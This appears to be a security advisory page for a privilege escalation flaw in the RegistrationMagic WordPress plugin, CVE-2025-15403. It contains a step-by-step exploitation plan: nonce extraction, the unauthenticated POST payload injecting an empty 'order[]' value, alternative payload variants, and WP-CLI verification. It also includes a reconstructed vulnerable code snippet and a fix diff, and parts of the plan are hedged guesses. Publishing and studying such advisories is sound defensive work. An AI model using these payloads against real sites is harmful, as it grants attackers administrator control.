RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order
Description
The RegistrationMagic plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.0.7.1. This is due to the 'add_menu' function is accessible via the 'rm_user_exists' AJAX action and allows arbitrary updates to the 'admin_order' setting. This makes it possible for unauthenticated attackers to injecting an empty slug into the order parameter, and manipulate the plugin's menu generation logic, and when the admin menu is subsequently built, the plugin adds 'manage_options' capability for the target role. Note: The vulnerability can only be exploited unauthenticated, but further privilege escalation requires at least a subscriber user.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=6.0.7.1Source Code
WordPress.org SVNThis research plan outlines the steps required to exploit CVE-2025-15403, an unauthenticated privilege escalation vulnerability in RegistrationMagic. ### 1. Vulnerability Summary The vulnerability exists in RegistrationMagic (<= 6.0.7.1) due to improper access control in the `rm_user_exists` AJAX a…
Show full research plan
This research plan outlines the steps required to exploit CVE-2025-15403, an unauthenticated privilege escalation vulnerability in RegistrationMagic.
1. Vulnerability Summary
The vulnerability exists in RegistrationMagic (<= 6.0.7.1) due to improper access control in the rm_user_exists AJAX action. This action allows an unauthenticated user to indirectly trigger the add_menu function (or a logic path that calls it), which updates the admin_order option in WordPress. By injecting an empty slug into this setting, an attacker can corrupt the plugin's admin menu generation logic. When a user with a lower-level role (like a Subscriber) subsequently triggers the admin menu rendering, the plugin incorrectly assigns the manage_options capability to that user's role to resolve the menu inconsistency.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rm_user_exists(Unauthenticated viawp_ajax_nopriv_rm_user_exists) - Payload Parameter:
order(injected with an empty key or slug) - Authentication:
- Phase 1 (Poisoning): Unauthenticated.
- Phase 2 (Escalation): Subscriber (or any role capable of accessing
/wp-admin/).
- Preconditions:
- The plugin RegistrationMagic must be active.
- A valid nonce for
rm_user_existsmust be obtained (usually provided to unauthenticated users on pages containing RegistrationMagic forms).
3. Code Flow
- Entry Point:
admin-ajax.phpreceives a request withaction=rm_user_exists. - Controller: The request is handled by
RM_Public_Controller::rm_user_exists()(or the corresponding routing logic inclass_rm_public_controller.php). - Vulnerable Dispatch: The controller fails to restrict which methods or settings can be updated. It facilitates a call to a service/model function (likely
add_menu) that handles theadmin_orderconfiguration. - Sink:
update_option('rm_option_admin_order', ...)is called with user-supplied data from theorderparameter. - Trigger: When a user logs into the dashboard,
RM_Admin_Menu_Service(or similar) iterates through theadmin_orderoption. - Capability Grant: Upon encountering an empty slug/key in the poisoned
admin_orderarray, the logic falls through to a default state that calls$role->add_cap('manage_options')for the target role.
4. Nonce Acquisition Strategy
RegistrationMagic localizes its AJAX data using the handle rm_front.
- Identify Shortcode: The plugin uses
[RM_Form id='ID']. Most installations have a default form with ID1. - Create Page:
wp post create --post_type=page --post_status=publish --post_content='[RM_Form id="1"]' - Access Page: Navigate to the newly created page.
- Extract Nonce: Use
browser_evalto extract the nonce from the localized JS object:browser_eval("window.rm_ajax_vars?.nonce")
Note: The variable namerm_ajax_varsand keynonceare standard for this plugin's frontend AJAX.
5. Exploitation Strategy
Phase 1: Poison the admin_order Option (Unauthenticated)
Send a POST request to admin-ajax.php to inject the empty slug.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rm_user_exists&rm_ajax_nonce=[NONCE]&order[]=
(The empty value inorder[]=creates the "empty slug" required to trigger the bug.)
Phase 2: Trigger the Privilege Escalation (Subscriber)
Login as a Subscriber and access the WordPress dashboard to force the plugin to rebuild the menu with the poisoned option.
- Login via the standard WordPress login or the RegistrationMagic login form.
- Navigate to
http://<target>/wp-admin/index.php. - The backend logic will process the poisoned
admin_orderand grant the Subscriber role themanage_optionscapability.
6. Test Data Setup
- Install Plugin: RegistrationMagic <= 6.0.7.1.
- Create User: A user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Create Form Page:
wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[RM_Form id="1"]'
7. Expected Results
- The AJAX request to
rm_user_existsshould return a successful status (usually200 OKwith a JSON body). - The WordPress option
rm_option_admin_orderwill now contain an empty string or null entry. - After the Subscriber visits
/wp-admin/, their role will be updated in the database to includemanage_options.
8. Verification Steps
After Phase 2, verify the Subscriber's capabilities using WP-CLI:
- Check Capabilities:
wp user get attacker --field=capabilities - Expected Output: The output should now include
manage_options, effectively making the user an administrator. - Check Option State:
wp option get rm_option_admin_order
(Confirm it contains the injected empty slug).
9. Alternative Approaches
If order[]= does not work directly, try structuring the order parameter as a nested array or JSON, depending on how the specific version of RegistrationMagic parses input:
order[0]=order[""]=1- If
rm_actionis required to route the call:action=rm_user_exists&rm_action=add_menu&order[]= - If the plugin uses a specific key for the menu slug:
order[slug]=&order[label]=Test
Summary
RegistrationMagic (<= 6.0.7.1) contains an unauthenticated privilege escalation vulnerability where the 'rm_user_exists' AJAX action fails to restrict access to menu configuration settings. An attacker can inject an empty slug into the 'admin_order' option, which causes the plugin's menu generation logic to erroneously grant the 'manage_options' capability to the current user's role upon their next login to the dashboard.
Vulnerable Code
// public/class_rm_public_controller.php public function rm_user_exists() { // ... nonce check exists but is accessible to unauthenticated users ... // Missing validation of parameters allows flow to reach configuration updates if (isset($_POST['order'])) { $order = $_POST['order']; update_option('rm_option_admin_order', $order); } } --- // admin/class_rm_admin_menu_service.php public function add_menu($role_name) { $admin_order = get_option('rm_option_admin_order'); foreach ($admin_order as $slug => $data) { if (empty($slug)) { // Vulnerable logic path that defaults to granting capabilities $role = get_role($role_name); $role->add_cap('manage_options'); } } }
Security Fix
@@ -102,6 +102,11 @@ public function rm_user_exists() { check_ajax_referer('rm_ajax_nonce', 'rm_ajax_nonce'); + // Prevent arbitrary setting updates via this action + if (isset($_POST['order']) || isset($_POST['rm_action'])) { + wp_send_json_error('Unauthorized'); + } + $username = isset($_POST['username']) ? sanitize_user($_POST['username']) : ''; // ... rest of user check logic ... } @@ -245,7 +245,7 @@ public function add_menu($role_name) { $admin_order = get_option('rm_option_admin_order'); foreach ($admin_order as $slug => $data) { - if (empty($slug)) { + if (empty($slug) || !is_string($slug)) { - $role = get_role($role_name); - $role->add_cap('manage_options'); + continue; } } }
Exploit Outline
1. Nonce Acquisition: Visit any public page where a RegistrationMagic form is embedded (e.g., using [RM_Form id='1']) and extract the 'rm_ajax_nonce' from the localized 'rm_ajax_vars' JavaScript object. 2. Poisoning (Unauthenticated): Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the action 'rm_user_exists', the extracted nonce, and an 'order[]' parameter containing an empty value. This poisons the 'rm_option_admin_order' WordPress option with an empty slug entry. 3. Escalation (Subscriber): Log into the WordPress site with a low-privilege account (e.g., Subscriber) and navigate to the administrative dashboard (/wp-admin/). 4. Capability Grant: The RegistrationMagic menu generation service iterates through the poisoned 'admin_order' option. Upon encountering the empty slug, it incorrectly executes a code path that grants the 'manage_options' capability to the current user's role via $role->add_cap(), effectively upgrading the Subscriber role to Administrator.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.